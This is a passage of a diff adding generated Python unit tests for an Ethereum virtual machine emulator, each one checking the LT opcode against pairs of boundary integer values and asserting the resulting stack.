+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
